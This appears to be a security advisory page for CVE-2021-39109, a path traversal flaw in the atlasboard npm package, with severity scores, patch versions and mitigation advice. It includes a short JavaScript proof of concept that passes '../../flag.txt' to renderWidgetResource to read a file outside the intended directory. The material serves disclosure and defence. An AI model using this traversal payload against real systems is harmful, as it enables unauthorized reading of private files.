CVE-2021-39109 — atlasboard
HIGHCVE-2021-39109 is a high-severity (CVSS 7.5) Path Traversal vulnerability in atlasboard. A fix is available for atlasboard — see the affected versions and patch details below.
Path traversal in atlasboard
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2021-39109.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2021-39109 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 385,386 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
atlasboardnpmDescription
The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.
PoC
const widget = require(\"atlasboard/lib/webapp/routes/widget\");
// Mock req and res
const req = {};
const res = {
sendFile: (filePath) => {
// Read and return file contents synchronously
const data = fs.readFileSync(filePath, \"utf8\");
console.log(\"Contents of /flag.txt:\");
console.log(data);
},
status: function (code) {
this.statusCode = code;
return this;
},
send: function (msg) {
throw new Error(`Server responded with status ${this.statusCode}: ${msg}`);
},
};
// localPackagesPath set to root to allow traversal to /flag.txt
const localPackagesPath = \"/\";
// resource string with path traversal to escape localPackagesPath and widgets directory
const resource = \"../../flag.txt\";
// Call vulnerable function
await widget.renderWidgetResource(localPackagesPath, resource, req, res);
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | atlasboard | all versions | 1.1.9npm install atlasboard@1.1.9 |
Affected Products
atlasboardatlassianDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for atlasboard, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update atlasboard to 1.1.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2021-39109 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is CVE-2021-39109 in your dependencies?
Find it across npm, including transitive dependencies.